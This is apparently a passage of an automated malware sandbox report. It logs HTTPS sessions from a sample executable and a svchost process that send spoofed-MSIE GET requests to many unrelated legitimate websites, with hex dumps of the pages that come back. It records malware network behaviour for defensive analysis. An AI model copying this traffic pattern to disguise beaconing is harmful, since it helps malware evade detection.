2023-03-10 06:56:26 UTC	1760	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:26 UTC	1776	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:26 UTC	1792	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.6	61712	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1795	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:26 UTC	1796	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:26 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:26 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lDCrNpb8mTuUpDvRDkd6MXXC4P%2F%2BNMg29XmM5llxDFoG34KP9AsArvhMI8sDaxWr9%2BLHIg7H0TkTeVsZgBETFMfkma60%2FHROfWLX2JSP9seSurFRz2C3ynVc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a864d95430cc-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:26 UTC	1797	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:26 UTC	1797	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.6	61722	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1795	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:26 UTC	1852	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:30 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:30 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TJEBPkMuCRWInZjJTsnRMwHKKRBWiRyCo0lhzSq2zoN%2FxxH3vULhZILuAlYyl0WYCAnWOot5YzqDZR0q%2BHK%2Fqb7HphOlzYAcQUVDFvtv3C46vs9VGYa1IkOWwdVmqb2r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a864e95f3631-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:26 UTC	1853	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:26 UTC	1853	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.6	61340	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1795	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.6	61730	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1796	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:27 UTC	2131	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=99 Content-Length: 48940 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:27 GMT Connection: close
2023-03-10 06:56:27 UTC	2131	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:27 UTC	2135	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-03-10 06:56:27 UTC	2143	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-03-10 06:56:27 UTC	2151	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-03-10 06:56:27 UTC	2159	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-03-10 06:56:27 UTC	2168	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-03-10 06:56:27 UTC	2176	IN	Data Raw: 66 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 76 65 72 3d 35 2e 31 2e 33 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 67 6f 5f 70 72 69 63 69 6e 67 Data Ascii: form-7\/v1"}};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.3'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/go_pricing

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.6	61817	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1796	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:26 UTC	1797	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:26 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:26 UTC	1797	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:26 UTC	1813	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:26 UTC	1829	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:26 UTC	1845	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	50525	104.21.48.207	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	160	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com
2023-03-10 06:56:14 UTC	161	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:18 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:18 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language Set-Cookie: django_language=en; expires=Sat, 09-Mar-2024 06:46:18 GMT; Max-Age=31536000; Path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OoCNQtySLXGFA%2B4Wl3Zc%2F3qBJcB0Be5AsfO9TlTi1OU7HtGTmVZZM5334rcHmVuvmcCFKFpc%2Fwd8ML2hvlsiU5ZUhIkiVcataIgczXhnUQ2WhH2D0hkwtmKJT%2BXPp8M9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a817fe809b1c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:14 UTC	162	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:14 UTC	162	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.6	61483	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1848	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 4272
